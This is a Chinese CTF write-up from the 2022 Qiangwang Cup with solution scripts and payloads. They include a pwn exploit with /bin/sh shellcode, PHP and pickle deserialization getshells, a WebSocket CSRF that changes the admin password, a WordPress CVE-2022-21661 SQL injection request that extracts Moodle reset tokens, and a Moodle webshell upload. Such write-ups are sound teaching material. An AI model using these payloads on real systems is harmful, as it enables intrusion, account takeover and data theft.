参赛WP · 2022年8月8日

2022 第六届强网杯线上赛 WriteUp

队伍信息

队伍名称:404Team

得分情况

最终排名

解题过程

注:以下所有内容为比赛题目答案及解析,不涉及其他方面,仅做解题方法分享

强网先锋

devnull

通过劫持buf和进行栈迁移get到程序执行流,并使用mprotect赋予段执行权限,再执行写好的shellcode

from pwn import *
#p=process('./devnull')

p=remote('59.110.212.61',37322)
context.log_level='debug'
context.arch='amd64'

leave_ret = 0x401511
addr = 0x3ff000   #stack
mov_eax = 0x401351 #mov    eax,DWORD PTR [rbp-0x18]   leave    ret
pop_rbp_ret = 0x000000000040129d

shellcode = b"\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05"

payload = b'e'*0x34 + p64(addr-8)*2 + p64(leave_ret) #rbp=rsp=addr-8  buf=addr-8

p.sendafter('please input your filename\n',payload)

payload = p64(addr) + p64(pop_rbp_ret) + p64(addr+0x10) + p64(mov_eax) + p64(0x4012D0) + p64(0xdeadbeef) + p64(0x3ff030) + shellcode

p.recvuntil("new data")

p.sendline(payload)

p.interactive()

rcefile

扫描网站路径,发现源码泄露

下载源码后进行查看,在showfile.php中看到了sql_autoload_register函数,想起了以前做过的一道题,spl_autoload_register没有定义就会执行反序列化的类+.inc或.php,那么思路就有了,通过绕过文件上传限制,在利用sql_autoload_register触发反序列化的类进行getshell

在upload.php中,发现了黑名单限制,所以采取上传.inc文件进行绕过

$blackext = ["php", "php5", "php3", "html", "swf","htm","phtml"];

绕过上传限制

img

生成反序列化payload

<?php
    class b30d4064ea329a03e007b53d10acdb63{}
    echo urlencode(serialize(new b30d4064ea329a03e007b53d10acdb63()));
?>

获得flag

flag{b162bb8a-43ac-46ae-a8ab-77b1c3a333fc}

polydiv

题目给了俩文件和一个容器:

class Polynomial2():
    '''
    模二多项式环,定义方式有三种
    一是从高到低给出每一项的系数
        >>> Polynomial2([1,1,0,1])
        x^3 + x^2 + 1

    二是写成01字符串形式
        >>> Polynomial2('1101')
        x^3 + x^2 + 1

    三是直接给出系数为1的项的阶
        >>> Poly([3,1,4])
        x^4 + x^3 + x
        >>> Poly([]) # 加法元
        0
        >>> Poly(0) # 乘法元
        1
        >>> Poly(1,2) * Poly(2,3)
        x^5 + x^3
    '''
    def __init__(self,ll):

        if type(ll) ==  str:
            ll = list(map(int,ll))

        self.param = ll[::-1]
        self.ones = [i for i in range(len(self.param)) if self.param[i] == 1] # 系数为1的项的阶数列表
        self.Latex = self.latex()
        self.b = ''.join([str(i) for i in ll]) # 01串形式打印系数

        self.order = 0 # 最高阶
        try:self.order = max(self.ones)
        except:pass

    def format(self,reverse = True):
        '''
            格式化打印字符串
            默认高位在左
            reverse = False时,低位在左
            但是注意定义多项式时只能高位在右
        '''
        r = ''
        if len(self.ones) == 0:
            return '0'
        if reverse:
            return ((' + '.join(f'x^{i}' for i in self.ones[::-1])+' ').replace('x^0','1').replace('x^1 ','x ')).strip()
        return ((' + '.join(f'x^{i}' for i in self.ones)+' ').replace('x^0','1').replace('x^1 ','x ')).strip()

    def __call__(self,x):
        '''
            懒得写了,用不到
        '''
        print(f'call({x})')

    def __add__(self,other):
        '''
            多项式加法
        '''
        a,b = self.param[::-1],other.param[::-1]
        if len(a) < len(b):a,b = b,a
        for i in range(len(a)):
            try:a[-1-i] = (b[-1-i] + a[-1-i]) % 2
            except:break
        return Polynomial2(a)

    def __mul__(self,other):
        '''
            多项式乘法
        '''

        a,b = self.param[::-1],other.param[::-1]
        r = [0 for i in range(len(a) + len(b) - 1)]
        for i in range(len(b)):
            if b[-i-1] == 1:
                if i != 0:sa = a+[0]*i
                else:sa = a
                sa = [0] * (len(r)-len(sa)) + sa
                #r += np.array(sa)
                #r %= 2
                r = [(r[t] + sa[t])%2 for t in range(len(r))]
        return Polynomial2(r)

    def __sub__(self,oo):
        # 模二多项式环,加减相同
        return self + oo

    def __repr__(self) -> str:
        return self.format()

    def __str__(self) -> str:
        return self.format()

    def __pow__(self,a):
        # 没有大数阶乘的需求,就没写快速幂
        t = Polynomial2([1])
        for i in range(a):
            t *= self
        return t

    def latex(self,reverse=True):
        '''
            Latex格式打印...其实就是给两位及以上的数字加个括号{}
        '''
        def latex_pow(x):
            if len(str(x)) <= 1:
                return str(x)
            return '{'+str(x)+'}'

        r = ''
        if len(self.ones) == 0:
            return '0'
        if reverse:
            return (' + '.join(f'x^{latex_pow(i)}' for i in self.ones[::-1])+' ').replace('x^0','1').replace(' x^1 ',' x ').strip()
        return (' + '.join(f'x^{latex_pow(i)}' for i in self.ones)+' ').replace('x^0','1').replace(' x^1 ',' x ').strip()

    def __eq__(self,other):
        return self.ones == other.ones

    def __lt__(self,other):
        return max(self.ones) < max(other.ones)

    def __le__(self,other):
        return max(self.ones) <= max(other.ones)

def Poly(*args):
    '''
        另一种定义方式
        Poly([3,1,4]) 或 Poly(3,1,4)
    '''
    if len(args) == 1 and type(args[0]) in [list,tuple]:
        args = args[0]

    if len(args) == 0:
        return Polynomial2('0')

    ll = [0 for i in range(max(args)+1)]
    for i in args:
        ll[i] = 1
    return Polynomial2(ll[::-1])

PP = Polynomial2
P = Poly
# 简化名称,按长度区分 P 和 PP
if __name__ == '__main__':
    p = Polynomial2('10011')
    p3 = Polynomial2('11111')
    Q = p*p3
import socketserver
import os, sys, signal
import string, random
from hashlib import sha256

from secret import flag
from poly2 import *

pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))
testCases = 40

class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'\n'
            self.request.sendall(msg)
        except:
            pass

    def recv(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self._recvall()

    def close(self):
        self.send(b"Bye~")
        self.request.close()

    def proof_of_work(self):
        random.seed(os.urandom(8))
        proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
        _hexdigest = sha256(proof.encode()).hexdigest()
        self.send(f"sha256(XXXX+{proof[4:]}) == {_hexdigest}".encode())
        x = self.recv(prompt=b'Give me XXXX: ')
        if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
            return False
        return True

    def guess(self):
        from Crypto.Util.number import getPrime
        a,b,c = [getPrime(i) for i in [256,256,128]]
        pa,pb,pc = [PP(bin(i)[2:]) for i in [a,b,c]]
        r = pa*pb+pc
        self.send(b'r(x) = '+str(r).encode())
        self.send(b'a(x) = '+str(pa).encode())
        self.send(b'c(x) = '+str(pc).encode())
        self.send(b'Please give me the b(x) which satisfy a(x)*b(x)+c(x)=r(x)')
        #self.send(b'b(x) = '+str(pb).encode())

        return self.recv(prompt=b'> b(x) = ').decode() == str(pb)

    def handle(self):
        #signal.alarm(1200)

        if not self.proof_of_work():
            return

        for turn in range(testCases):
            if not self.guess():
                self.send(b"What a pity, work harder.")
                return
            self.send(b"Success!")
        else:
            self.send(b'Congratulations, this is you reward.')
            self.send(flag)

class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass

#class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
class ForkedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass

if __name__ == "__main__":

    HOST, PORT = '0.0.0.0', 10000
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    server.serve_forever()

题目的意思其实挺简单的,就是过完POW之后来个40轮的模二多项式环求解,具体就是给了a * b + c == r,已知acr,求b,那不是反向运算就完事嘛:b = (r - c) / a嘛。

结果看了下题目给的Polynomial2没实现div运算...那就上网找吧(因为不太熟悉这玩意)。

结果找着照着就找到了出题人这个类的代码出处:模二多项式环 及 BCH码 的纯python实现和一些问题(不过这个站是盗文站,原文章在CSDN上,但是被删了)

所以把里面的除法实现抄到题目的类里就完事:

    def div(self,other):
        r,b = self.param[::-1],other.param[::-1]
        if len(r) < len(b):
            return Polynomial2([0]),self

        q=[0] * (len(r) - len(b) + 1)
        for i in range(len(q)):
            if len(r)>=len(b):
                index = len(r) - len(b) + 1  # 确定所得商是商式的第index位
                q[-index] = int(r[0] / b[0])
                # 更新被除多项式
                b_=b.copy()
                b_.extend([0] * (len(r) - len(b)))
                b_ = [t*q[i] for t in b_] 
                r = [(r[t] - b_[t])%2 for t in range(len(r))]
                for j in range(len(r)):     #除去列表最左端无意义的0
                    if r[0]==0:
                        r.remove(0)
                    else:
                        break
            else:
                break

        return Polynomial2(q),Polynomial2(r)

    def __floordiv__(self,other): # 只重载了整除,即//
        return self.div(other)[0]

然后写个脚本和服务器交互,其中关于表达式解析,我的思路是用题目给的Poly函数去实例化,传入[3,1,4]这种环中1的下标就行,所以就先把结尾的1换成0(因为下标是0),然后去一下两头的换行符啥的,再按 + 去分割一下,再把里面的x^都给去掉,那就只剩下文本格式的数字了,但是也有特殊情况比如说x会变成空字符,所以额外判断一下长度,有字符就转int,没有下标就肯定是1。然后传给Poly函数就可以开始反向运算了。


def pow(end, sha256_result) -> bytes:
    import string
    from hashlib import sha256

    base = string.ascii_letters+string.digits
    for i in base:
        for j in base:
            for k in base:
                for l in base:
                    pow_key = f"{i}{j}{k}{l}{end}".encode()
                    if sha256(pow_key).hexdigest() == sha256_result:
                        print(pow_key)
                        return pow_key[:4]

def main():
    from pwn import connect, context
    context.log_level = 'debug'
    conn = connect("59.110.212.61", 24906)
    conn.recvuntil(b"sha256(XXXX+")
    end = conn.recvn(16).decode()
    conn.recvuntil(b") == ")
    sha256_result = conn.recvn(64).decode()
    conn.sendline(pow(end, sha256_result))
    for _ in range(40):
        conn.recvuntil(b"r(x) = ")
        r = conn.recvline().decode().replace('1\n', '0\n').strip().split(' + ')
        r = Poly([int(i) if len(i) > 0 else 1 for i in [i.strip("x^") for i in r]])
        conn.recvuntil(b"a(x) = ")
        a = conn.recvline().decode().replace('1\n', '0\n').strip().split(' + ')
        a = Poly([int(i) if len(i) > 0 else 1 for i in [i.strip("x^") for i in a]])
        conn.recvuntil(b"c(x) = ")
        c = conn.recvline().decode().replace('1\n', '0\n').strip().split(' + ')
        c = Poly([int(i) if len(i) > 0 else 1 for i in [i.strip("x^") for i in c]])
        conn.recvuntil(b"> b(x) = ")
        b = (r - c) // a
        conn.sendline(str(b).encode())
    print(conn.recvline())
    print(conn.recvline())
    print(conn.recvline())
    print()

if __name__ == '__main__':
    main()

成功得到flag。

flag{768782a0-e637-4982-9415-4b8f005e466b}

ASR

题目给的脚本:

from Crypto.Util.number import getPrime
from secret import falg
pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))

n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2
e = 3

flag = pad(flag)
print(flag)
assert(len(flag) >= 48)
m = int.from_bytes(flag,'big')
c = pow(m,e,n)

print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

'''
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
'''

先是n == (p * q * r * s)^2,那就先开方咯。

from gmpy2 import *

n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149

nn = iroot(n, 2)[0]
assert nn**2 == n
print(nn)

得到2872432989693854281918578458293603200587306199407874717707522587993136874097838265650829958344702997782980206004276973399784460125581362617464018665640001

然后看着pqrs也都不大,就128位,感觉可以yafu直接爆。

跑了十几分钟也确实爆出来了。那按照公式phi = (p^(k-1)) * (p-1) * ...直接求。

结果发现有几个因子的p-1居然和e不互素...

p = 260594583349478633632570848336184053653
q = 218566259296037866647273372633238739089
r = 223213222467584072959434495118689164399
s = 225933944608558304529179430753170813347
assert p*q*r*s == nn

print(gcd((p*(p-1)), e))  # 1
print(gcd((q*(q-1)), e))  # 3
print(gcd((r*(r-1)), e))  # 1
print(gcd((s*(s-1)), e))  # 3

这就给我整不会了啊,于是进度就卡这了。第二天随便乱试的时候,发现用那俩正常的因子重新构造n == (p * r)^2,可以解出flag,具体原理我也不知道...

from Crypto.Util.number import long_to_bytes

phi = (p*(p-1))*(r*(r-1))
d = invert(e, phi)
m = pow(c, d, p**2*r**2)
print(long_to_bytes(m))

flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}

Web

babyweb

打开题目,随手试了几个弱密码,都提示错误。

看到右上角还有个注册功能,尝试注册一个。

帐号写admin,注册提示Username already exists

说明存在admin这个用户,接着随便注册了一个帐号。

登录上去之后,按照提示发送help,发现返回了一些说明

抓包可以看到建立了一个websocket连接。

根据说明

  1. help: 帮助菜单
  2. changepw: 修改密码
    示例: changepw 123456
  3. bugreport: 向管理员报告漏洞页面
    示例: bugreport http://host:port/login
    先来验证一下 bugreport的功能
bugreport http://xxxxxx.ceye.io

在平台已经收到了请求

通过协议头其中的关键字PhantomJS,可以看出来,是用它实现bot模拟浏览url。

现在只是普通用户,想要登录到管理员帐号,弱口令已经无解。

这里刚好有修改密码的功能,而且bot会模拟访问一个指定的url,

所以可以尝试通过csrf来尝试让bot发送更改密码的指令。

因为是用的websocket发送的消息,所以直接拿首页的网页源码简单修改一下。

经过测试发现如果不带cookie去连接靶机IP,那样不能辨别用户身份,但是怎么带cookie去发起websocket没试过,不知道。(tcl)

但是题目里特别给了docker镜像启动的命令,其中端口是:8888

所以直接尝试127.0.0.1:8888作为ws连接地址。

msg设置为changepw 123456

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<script>
    var ws = null;
    var url = "ws://127.0.0.1:8888/bot";

    function sendtobot() {
        if (ws) {
            var msg = "changepw 123456";
            ws.send(msg);
        }
        else{
            ws = new WebSocket(url);
            ws.onopen = function (event) {
                console.log('connection open!')
                var msg = "changepw 123456";
                ws.send(msg);
            }
            ws.onmessage = function (ev) {
                botsay(ev.data);
            };
            ws.onerror = function () {
                console.log("connection error");
            };
            ws.onclose = function () {
                console.log("connection close!");
            };

        }
    }
    function closeWebSocket() {
        if(ws){
            ws.close();
            ws = null;
        }
    }
    sendtobot();
</script>
<body>

</body>
</html>

将html源码放到公网服务器里,准备让bot来访问。

在服务器监听8010端口,文件放到了3.html

发送指令让bot来访问:bugreport http://xxx.xxx.xxx.176:8010/3.html

成功收到请求

这时候去尝试登录admin,密码为刚才修改的:123456

成功登录

现在的钱只够买个HintFlag得$1000。

先买个hint看看吧

拼接url,得到部分源码的压缩包

# app.py
@app.route("/buy", methods=['POST'])
def buy():
    if not session:
        return redirect('/login')
    elif session['user'] != 'admin':
        return "you are not admin"
    else :
        result = {}
        data = request.get_json()
        product = data["product"]
        for i in product:
            if not isinstance(i["id"],int) or not isinstance(i["num"],int):
                return "not int"
            if i["id"] not in (1,2):
                return "id error"
            if i["num"] not in (0,1,2,3,4,5):
                return "num error"
            result[i["id"]] = i["num"]
        sql = "select money,flag,hint from qwb where username='admin'"
        conn = sqlite3.connect('/root/py/test.db')
        c = conn.cursor()
        cursor = c.execute(sql)
        for row in cursor:
            if len(row):
                money = row[0]
                flag = row[1]
                hint = row[2]
        data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
        r = requests.post("http://127.0.0.1:10002/pay",data).text
        r = json.loads(r)
        if r["error"] != 0:
            return r["error"]
        money = int(r["money"])
        hint = hint + result[1]
        flag = flag + result[2]
        sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag)
        conn = sqlite3.connect('/root/py/test.db')
        c = conn.cursor()
        try:
            c.execute(sql)
            conn.commit()
        except Exception as e:
            conn.rollback()
            c.close()
            conn.close()
            return "database error"
        return "success"
// pay.go
package main

import (
    "github.com/buger/jsonparser"
    "fmt"
    "net/http"
    "io/ioutil"
    "io"
)

func pay(w http.ResponseWriter, r *http.Request) {
    var cost int64 = 0
    var err1 int64 = 0
    json, _ := ioutil.ReadAll(r.Body)
    secret, err := jsonparser.GetString(json, "secret")
    if err != nil {
        fmt.Println(err)
    }
    if secret != "xxxx"{   //secret已打码
        io.WriteString(w, "{\"error\": \"secret error\"}")
        return
    }
    money, err := jsonparser.GetInt(json, "money")
    if err != nil {
        fmt.Println(err)
    }
    _, err = jsonparser.ArrayEach(
            json,
            func(value []byte, dataType jsonparser.ValueType, offset int, err error) {
                id, _ := jsonparser.GetInt(value, "id")
                num, _ := jsonparser.GetInt(value, "num")
                if id == 1{
                    cost = cost + 200 * num
                }else if id == 2{
                    cost = cost + 1000 * num
                }else{
                    err1 = 1
                }
            },
        "product")
    if err != nil {
        fmt.Println(err)
    }
    if err1 == 1{
        io.WriteString(w, "{\"error\": \"id error\"}")
        return
    }
    if cost > money{
        io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}")
        return
    }
    money = money - cost
    io.WriteString(w, fmt.Sprintf("{\"error\":0,\"money\": %d}", money))
}

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("/pay", pay)
    http.ListenAndServe(":10002", mux)
}

先来分析app.py

在经过一系列过滤后,从数据库里把adminmoney,flag,hint都取了出来。

并将secretmoney post到了pay.go那里

sql = "select money,flag,hint from qwb where username='admin'"
for row in cursor:
            if len(row):
                money = row[0]
                flag = row[1]
                hint = row[2]
        data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] #secret已打码
        r = requests.post("http://127.0.0.1:10002/pay",data).text
        r = json.loads(r)

接着就是取回请求的结果,如果error为0,便将monkey和hintflag更新到表中。

        r = json.loads(r)
        if r["error"] != 0:
            return r["error"]
        money = int(r["money"])
        hint = hint + result[1]
        flag = flag + result[2]
        sql = "update qwb set money={},hint={},flag={} where username='admin'".format(money,hint,flag)
        conn = sqlite3.connect('/root/py/test.db')
        c = conn.cursor()
        try:
            c.execute(sql)
            conn.commit()
        except Exception as e:
            conn.rollback()
            c.close()
            conn.close()
            return "database error"
        return "success"

所以现在就是让pay.goerror为0即可购买成功

根据代码分析不为0的几种情况,似乎很难绕过:

    if secret != "xxxx"{   //secret已打码
        io.WriteString(w, "{\"error\": \"secret error\"}")
        return
    }

    if err1 == 1{
        io.WriteString(w, "{\"error\": \"id error\"}")
        return
    }

    if cost > money{
        io.WriteString(w, "{\"error\": \"Sorry, your credit is running low!\"}")
        return
    }

再仔细分析app.py的代码可以发现,传过去的data是拼接的字符串,想要组成json格式。

r = requests.post("http://127.0.0.1:10002/pay",data).text
data = b'{"secret":"xxxx","money":' + str(money).encode() + b',' + request.get_data()[1:] 

其中request.get_data()是前端请求的完整的json数据例如{"product":[{"id":1,"num":1},{"id":2,"num":0}]}

这时想要拼接到data中,就需要去掉最左边的大括号,所以用切片从1开始切掉,然后拼接上去。

再来看下pay.go接收到数据做了什么

首先是通过jsonparser解析请求体,然后获取secretmoney参数,这两块都是app.py写死的,格式是正确的,而且我们不可控。

紧接着就是遍历product来计算所需要的cost,而product是前端请求给app.pyapp.py修改封装后再发送给pay.go,所以这里我们可控。

而且这里如果报错后,并不会直接return,而是就println一下,之后便直接进行了相减运算以及返回error为0

cost在代码的最前面已经初始化为0,所以无论我们的money有多少,都不会影响成功返回。

app.py中接收前端数据用的是request.get_json(),直接把请求体当作json解析的,但传递给pay.go是使用的request.get_data()[1:]直接将请求体切片后传过去了

那么如何让json中的product节点出错,并且不影响app.py成功解析呢?

可以从切片下手,拼接的时候是把第一个字符{切掉了,从而可以顺利的和前面的拼接成一个完整的json语句,如果我们在请求体最前面加上一个字符,那么{就会被传递过去,从而导致pay.go在解析json的product出错。(应该是jsonparser的特性,部分json出错并不会影响其他地方解析)

所以现在我们需要找到一个不影响request.get_json()解析的字符加到请求体最前面。

查一下文档发现可以用空白符来实现

token(6种标点符号、字符串、数值、3种字面量)之间可以存在有限的空白符并被忽略。四个特定字符被认为是空白符:空格符、水平制表符、回车符、换行符。空白符不能出现在token内部(但空格符可以出现在字符串内部)。

空白符:空格符水平制表符回车符换行符

接下来尝试一下这四种

首先在不更改请求体的情况下,直接购买flag,会提示余额不足。

在前面加上一个空格后,购买成功,得到flag,并且余额没有变。

再来尝试水平制表符也就是\t,在记事本上按一下tab键,即可。

复制到burp中,加到请求体前。

水平制表符,购买成功

回车符,购买成功

换行符,购买成功:

flag{18b12c6c-b5cf-4d18-baba-ce5536d15b0a}

crash

打开题目,一堆源码

稍微美化一下

import base64
import os
import sqlite3
import pickle
from flask import Flask, make_response, request, session
import admin
import random

app = Flask(__name__, static_url_path='')
app.secret_key = random.randbytes(12)

class User:
    def __init__(self, username, password):
        self.username = username
        self.token = hash(password)

    def get_password(username):
        if username == "admin":
            return admin.secret
        else:
            # conn = sqlite3.connect("user.db")
            # cursor = conn.cursor()
            # cursor.execute(f"select password from usertable where username='{username}'")
            # data = cursor.fetchall()[0]
            # if data:
            #     return data[0]
            # else:
                # return None
            return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data = base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata = pickle.loads(pickle_data)
    if userdata.token != hash(User.get_password(userdata.username)):
        return "Login First"
    if userdata.username == 'admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    resp = make_response("success")
    session["password"] = request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(
        pickle.dumps(User(request.values.get("username"), request.values.get("password")), 2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return open('source.txt', "r").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

分析源码,发现一共两个功能点

第一个是login,获取请求的参数usernamepassword,然后将这俩参数用pickle序列化后再base64加密,放到cookie的userdata里。

第二个是balancer,获取cookie里的userdata,然后用pickle反序列化。

其中有三处过滤,

  1. userdata base64解码后,内容不能包含Rsecret

  2. userdata.token要与hash(User.get_password(userdata.username)相等,也就是hash(password)等于hash(admin.secret) 所以 password要等于admin.secret

  3. usernameadmin

所以现在我们需要传参usernameadminpasswordadmin.secret

但是现在我们并不知道admin.secret的值

所以可以通过构造pickle反序列化,变量覆盖admin.secret的值

因为过滤了R,所以不能使用__reduce__来覆盖,要不然结尾会含有R

又因为过滤了secret,所以不能直接出现完整的secret

但是可以通过ascii码16进制来替换,例如:

opcode = b'''c__main__
admin
(S"\x73ecret"
S'123456'
db.'''

也通过exec字符串拼接来绕过检测

opcode=b'''(cbuiltins
exec
S'exec("admin.sec"+"ret='123456'")'
o.'''

pickletools看一下结构

    0: (    MARK
    1: c        GLOBAL     'builtins exec'
   16: S        STRING     's="admin.sec"+"ret=\'123456\'";exec(s)'
   56: o        OBJ        (MARK at 0)
   57: .    STOP

base64编码一下放到cookie里

KGNidWlsdGlucwpleGVjClMncz0iYWRtaW4uc2VjIisicmV0PScxMjM0NTYnIjtleGVjKHMpJwpvLg==

然后访问http://39.107.137.85:18281/balancer

接着再访问http://39.107.137.85:18281/login?username=admin&password=123456

此时的userdata就已经变成了

gAJjYXBwClVzZXIKcQApgXEBfXECKFgIAAAAdXNlcm5hbWVxA1gFAAAAYWRtaW5xBFgFAAAAdG9rZW5xBYoIGRPXkM42hoh1Yi4=

然后再次访问http://39.107.137.85:18281/balancer

成功进入

查看网页源码发现

<!-- flag in 504 page --><!-- /826fd2f86129b050875e4a70cb059908a7ed -->

于是访问/826fd2f86129b050875e4a70cb059908a7ed,下载到nginx的配置文件

# nginx.vh.default.conf  --  docker-openresty
#
# This file is installed to:
#   `/etc/nginx/conf.d/default.conf`
#
# It tracks the `server` section of the upstream OpenResty's `nginx.conf`.
#
# This config (and any other configs in `etc/nginx/conf.d/`) is loaded by
# default by the `include` directive in `/usr/local/openresty/nginx/conf/nginx.conf`.
#
# See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-config-files
#
lua_package_path "/lua-resty-balancer/lib/?.lua;;";
lua_package_cpath "/lua-resty-balancer/?.so;;";

server {
    listen       8088;
    server_name  localhost;

    #charset koi8-r;
    #access_log  /var/log/nginx/host.access.log  main;

    location /gettestresult {
            default_type text/html;
            content_by_lua '
                local resty_roundrobin = require "resty.roundrobin"
                local server_list = {
                    [ngx.var.arg_server1] = ngx.var.arg_weight1,
                    [ngx.var.arg_server2] = ngx.var.arg_weight2,
                    [ngx.var.arg_server3] = ngx.var.arg_weight3,
                }
                local rr_up = resty_roundrobin:new(server_list)
                for i = 0,9 do
                    ngx.say("Server seleted for request ",i,":     " ,rr_up:find(),"<br>")
                end
            ';
    }

    #error_page  404              /404.html;

    # redirect server error pages to the static page /50x.html
    #

    # proxy the PHP scripts to Apache listening on 127.0.0.1:80
    #
    #location ~ \.php$ {
    #    proxy_pass   http://127.0.0.1;
    #}

    # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
    #
    #location ~ \.php$ {
    #    root           /usr/local/openresty/nginx/html;
    #    fastcgi_pass   127.0.0.1:9000;
    #    fastcgi_index  index.php;
    #    fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
    #    include        fastcgi_params;
    #}

    # deny access to .htaccess files, if Apache's document root
    # concurs with nginx's one
    #
    #location ~ /\.ht {
    #    deny  all;
    #}
}

另外提示flag在504里,所以应该是让页面返回504状态码即可拿到flag

于是尝试随便输入一点数据测试,在测试到同一IP不同端口,权重随便填的时候,

等了一小会,状态码返回了504,然后得到了flag

flag{6792305a-563c-4dc3-9308-055aa07e3756}

easylogin

题目说明:

47.105.52.19 47.105.60.229 47.104.251.7

本题目为渗透题,开放了80和8888两个端口,其余端口均和本题目无关,本题目无需进行目录扫描和爆破flag位置在常用文件夹下。

解题步骤:(根据wp sql注入到moodle的数据库获取moodle中的修改密码的token然后实现admin账号的密码重置,根据cve上传rce压缩包,然后getflag)

具体步骤分析:

1.先进行业务梳理得知80端口业务是wordpress 8888端口业务是moogle

经典f12查看wordpress 5.8.2 百度 5.8.2版本漏洞 搜到一个cve

WordPress SQL 注入漏洞(CVE-2022-21661 分析与复现)

链接:https://www.freebuf.com/articles/web/321297.html

验证了一下是可以打通的,于是sqlmap走起

把需要查询的地方设置为* 用sqlmap去跑 得到库 wordpress和moodle

我们通过尝试 wordpress的用户可以得到 密码是hash加密的 同样的获取了moodle的账户和密码 密码也是加密的 明显是行不通的

换思路 :因为是wordpress漏洞打进了肯定是要查和moodle相关的,所以重点查阅moodle相关表的含义找到一个moondle seesion 相关的表mdl_user_password_resets与mdl_sessions

于是想出了两种解题方法:

(1)常规解法:查看mdl_user_password_resets 发现了token的值,那么我们可以通过数据库中查询到的用户的username进行用户密码重置,然后在通过token达到修改admin密码的效果

获得token的数据包如下:

 POST /wp-admin/admin-ajax.php HTTP/1.1
 Host: 47.104.251.7
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Sec-Fetch-Dest: document
 Sec-Fetch-Mode: navigate
 Sec-Fetch-Site: cross-site
 Sec-Fetch-User: 0
 Cache-Control: max-age=0
 Connection: close 
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 242

 action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,(SELECT group_concat(token) FROM moodle.mdl_user_password_resets)),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

构造token

http://47.104.251.7:8888/login/forgot_password.php?token=&username=admin

然后成功到修改密码页面

登录成功后我们根据cve来到这个页面

https://github.com/HoangKien1020/CVE-2020-14321

https://github.com/HoangKien1020/Moodle_RCE

http://47.104.251.7:8888/admin/tool/installaddon/index.php

选择上传插件功能中压缩包,上传rce.zip

http://47.104.251.7:8888/blocks/rce/lang/en/block_rce.php?cmd=cat%20%20/etc/mytest/flaaaaaaaggggggggggggggggggggg

(2)第二种方法:因为是公共环境 可以利用别人登录的seesion 只要管理员登录就可以通过mdl_sessions 获取seesion值 手工替代seesion进去传马 不过是有点蹭车了哈哈哈

WP-UM

题目说明:

管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n

这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。

解题步骤:

1.下载附件根据提示看到/username adminadmin和password adminadminadmin,

img img

给了docker文件,本地起一个环境,用给的账号密码进去后台,发现三个插件, 其中有一个插件User Meta Lite正在使用 根据题目的提示wp-um,还有题目说明 肯定是要利用插件了

